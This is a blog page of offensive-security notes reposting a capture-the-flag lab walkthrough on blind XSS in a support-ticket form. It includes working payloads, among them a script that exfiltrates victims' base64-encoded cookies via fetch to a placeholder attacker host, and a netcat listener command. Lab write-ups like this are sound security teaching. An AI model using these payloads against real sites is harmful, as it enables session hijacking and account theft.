boot767 notes · 24 posts

Every Shell Leaves a Trace

I keep what I learn about offensive security here: my notes from CTFs, certifications and university, plus the walkthroughs I write when a box is worth sharing. It's organized the way I work a box. Recon first, then a foothold, then privilege escalation, then the rest of the network.

latest transmission · 2026-11-19Collection of OSINT Tools and Resources
boot767 notes · 24 posts

Every Shell Leaves a Trace

I keep what I learn about offensive security here: my notes from CTFs, certifications and university, plus the walkthroughs I write when a box is worth sharing. It's organized the way I work a box. Recon first, then a foothold, then privilege escalation, then the rest of the network.

latest transmission · 2026-11-19Collection of OSINT Tools and Resources

Stealing Cookies

This task covers a blind XSS vulnerability and uses it to steal another user's cookies. Terminate the previous machine, then click the green Start Machine button to load the Acme IT Support website. You'll need the AttackBox (blue button at the top of the page). Once loaded, open the link below in the AttackBox's Firefox browser to view the target.

https://LAB_WEB_URL.p.thmlabs.com

Click the Customers tab, then the "Signup here" link to create an account. Once set up, click the Support Tickets tab, which is the feature we'll investigate.

Create a support ticket with the green Create Ticket button, enter the subject and content as just the word test, and click the blue Create Ticket button. The new ticket appears in the list with an id number you can click to open it.

Like task three, we look at how the entered text gets reflected. The page source shows the text placed inside a textarea tag.

Escaping the textarea

Create another ticket and try to escape the textarea tag with this payload in the ticket contents:

</textarea>test

Opening the ticket and viewing the page source confirms we've escaped the textarea tag.

Now expand the payload to confirm we can run JavaScript. Create a new ticket with:

</textarea><script>alert('THM');</script>

Viewing the ticket should give an alert box with the string THM.

Stealing the cookie

We can increase the impact. Because this is a support ticket, a staff member will likely view it, and we can get their browser to run JavaScript. A useful thing to extract is their cookies, which we could use to hijack their login session. First, set up a listening server to receive the data.

On the TryHackMe AttackBox, set up a listener with Netcat:

user@machine$ nc -nlvp 9001

Now build the payload:

</textarea><script>fetch('http://{URL_OR_IP}?cookie=' + btoa(document.cookie) );</script>

Breaking it down:

Create another ticket with this payload, swapping {URL_OR_IP} for your settings (including the port number for the Netcat listener). Wait up to a minute and the request comes through with the victim's cookies.

Note: You may have issues receiving the request on your own VM and the VPN. Use the AttackBox for this task.

Base64 decode the information with a site like https://www.base64decode.org/ to get what you need for the question below.